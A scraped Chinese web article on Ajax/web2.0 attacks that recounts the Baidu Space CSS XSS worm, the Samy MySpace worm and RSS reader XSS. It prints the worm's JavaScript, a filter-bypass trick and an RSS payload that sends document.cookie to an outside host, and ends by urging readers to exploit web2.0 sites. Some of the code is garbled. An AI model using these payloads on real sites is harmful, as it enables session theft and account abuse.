主頁(yè) > 知識(shí)庫(kù) > Ajax Hacking

Ajax Hacking

熱門(mén)標(biāo)簽:Mysql連接數(shù)設(shè)置 阿里云 Linux服務(wù)器 服務(wù)器配置 團(tuán)購(gòu)網(wǎng)站 科大訊飛語(yǔ)音識(shí)別系統(tǒng) 銀行業(yè)務(wù) 電子圍欄
由此Ajax攻擊可見(jiàn)一斑,然而這還僅僅是個(gè)開(kāi)始。7月份百度開(kāi)通了百度空間,雖然沒(méi)有指明是應(yīng)用web2.0技術(shù),但從web2.0象征的測(cè)試版(beta)和頁(yè)面模版架構(gòu)等等,你可以看出它事實(shí)上已經(jīng)應(yīng)用了Ajax技術(shù)。而在空間開(kāi)通不到半個(gè)月,相應(yīng)的攻擊方式又產(chǎn)生了,這個(gè)攻擊應(yīng)該又算是一個(gè)蠕蟲(chóng)吧。它利用百度提交的自定義css(Cascading Stylesheet,層疊樣式表單)中對(duì)插入的javascript過(guò)濾不嚴(yán)格,而使攻擊者可以寫(xiě)入惡意代碼進(jìn)行了xss(Cross Site Scripting)跨站。從而使瀏覽該空間的百度通行證用戶在不知覺(jué)的情況下將該站點(diǎn)加入自己的友情連接中。最原始代碼標(biāo)本如下:
復(fù)制代碼 代碼如下:
#header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的樣式標(biāo)簽中插入javascript代碼 
var req = null; 
if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 這句懂a(chǎn)jax的都知道,是它的核心XMLHttpRequest,而下面當(dāng)然是必不可少的判斷是否IE的語(yǔ)句了。 
else if(window.ActiveXObject){ 
var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); 
for(var i=0;i try{req.overrideMimeType('text/xml')}catch(e){} 

req.open('get','.',false); 
req.send(); 
var s=req.responseText; 
p=s.indexOf('passport.baidu.com/?logout'); 
if(p>0) 

p=s.indexOf(''); 
if(p>0) 

p=s.indexOf('/',p); 
p2=s.indexOf(String.fromCharCode(34),p); 
var user=s.substring(p+1,p2); 
var name='Here is a bad site'; 
var link='目標(biāo)網(wǎng)址'; 
var desc='This link was added by an XSS script'; 
var url='/'+user+'/commit'; 
var data='ct=6cm=1spRef='+escape('http://hi.baidu.com/#39;+user)+'%2Fmodify%2Fbuddylink%2F0spBuddyName='+escape(name)+'spBuddyURL='+escape(link)+'spBuddyIntro='+escape(desc); //- - 這句是整個(gè)蠕蟲(chóng)的執(zhí)行語(yǔ)句,也是Ajax的數(shù)據(jù)異步調(diào)用語(yǔ)句。 
req.open('post',url,false); 
req.send(data); 
alert('A friend link has been added to your space at http://hi.baidu.com/#39; +user); 


else{alert('You are not a logged Baidu user.');} //- - 由于是標(biāo)本語(yǔ)句,所以這里有對(duì)是否登陸的判斷,但實(shí)際攻擊中當(dāng)然不會(huì)有。 
}"); 
當(dāng)時(shí)百度在第一時(shí)間內(nèi)對(duì)此蠕蟲(chóng)作出了反映——過(guò)濾提交表單中的javascript,當(dāng)然這也使正常用戶無(wú)法再在blog中貼入Flash動(dòng)畫(huà)。但后來(lái)的變種使得境況變得更糟糕,因?yàn)橛腥税l(fā)現(xiàn)百度僅僅是過(guò)濾了CSS文本中的譬如"javascript"和"expression"這樣的字符串。也就是說(shuō)如果把”javascript”分成兩行來(lái)寫(xiě),就可以繞過(guò)百度的過(guò)濾但同時(shí)又被IE執(zhí)行。而這時(shí)變種的蠕蟲(chóng)也隨之產(chǎn)生,其造成的結(jié)果是在用戶的css中加入如下代碼:
#header {……
很簡(jiǎn)單的一句吧,這幾乎把該蠕蟲(chóng)提升到了病毒性質(zhì),因?yàn)橛脩舯旧頍o(wú)法到達(dá)css修改頁(yè)面來(lái)修復(fù)他的css代碼。事實(shí)上直到寫(xiě)這篇文章時(shí),百度空間尚沒(méi)有對(duì)一些另類(lèi)的插入惡意代碼方式進(jìn)行有效地過(guò)濾和封鎖。
如果認(rèn)為他們所造成的影響都是局域的,那么我不得不帶領(lǐng)大家來(lái)看一些影響比較廣泛的最具有web2.0性質(zhì)的——Rss(Really Simple Syndication)攻擊。這是我從zdnet.com的Joris Evers的一篇名為“Blog feeds may carry security risk ”了解到的,大體意思是說(shuō)由于目前幾乎所有的不管是在線的還是離線的Rss閱讀器都沒(méi)有有效地對(duì)攙雜在Rss中的腳本進(jìn)行過(guò)濾,導(dǎo)致攻擊者可以向Rss中寫(xiě)入惡意的javascript代碼,最終導(dǎo)致xss跨站,獲取用戶信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻擊范圍之內(nèi)。這是去年yahoo rss xss代碼:

javascript:%20document.location='http://www.target.com/cookie.cgi?#39;%20+document cookie;
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT

javascript:%20alert(document.cookie);
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT

事實(shí)上,最早的web2.0攻擊出現(xiàn)在去年的myspace.上,有人在MySpace交友網(wǎng)站上寫(xiě)了一段JavaScript蠕蟲(chóng)代碼,利用Ajax方法讓無(wú)數(shù)的用戶在不知情的情況下把他加入了好友名單,同時(shí)在他們的個(gè)人簡(jiǎn)介最后自動(dòng)加上了“samy is my hero”的字樣。此蠕蟲(chóng)被稱(chēng)為世界上第一個(gè)“web2.0蠕蟲(chóng)”。而從上文的對(duì)email、css、rss攻擊進(jìn)行的描述中你也可以看出目前對(duì) web2.0的攻擊利用亦是多方面的。但并不單單指跨站,網(wǎng)上有一篇《Hacking Ajax》的文章,其中有一句話被加了黑體,“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”,也就是說(shuō)適當(dāng)情況下,利用Ajax攻擊并獲得個(gè)人電腦管理權(quán)限亦是可能的。
由于目前系統(tǒng)對(duì)補(bǔ)丁的發(fā)布采取的都是時(shí)時(shí)更新功能,想通過(guò)溢出獲得shell已經(jīng)很難了,除非是0day的系統(tǒng)漏洞;而sql注入在網(wǎng)絡(luò)也肆虐了幾年,亦有了行之有效的防范方法;并且由于Python和Ruby語(yǔ)言的興起,新的web2.0服務(wù)正在產(chǎn)生并有取代現(xiàn)有web結(jié)構(gòu)趨勢(shì),譬如Plone。但不可改變的是web瀏覽器對(duì)xhtml和javascript的解釋?zhuān)灰覀兪冀K有改變javascript的可能性,我們就永遠(yuǎn)有提升自己權(quán)限的可能……
那么對(duì)于日趨龐大的web2.0大軍,你是否有興趣從中分一杯羹呢? 

標(biāo)簽:蚌埠 大理 棗莊 江蘇 衢州 廣元 萍鄉(xiāng) 衡水

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Ajax Hacking》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266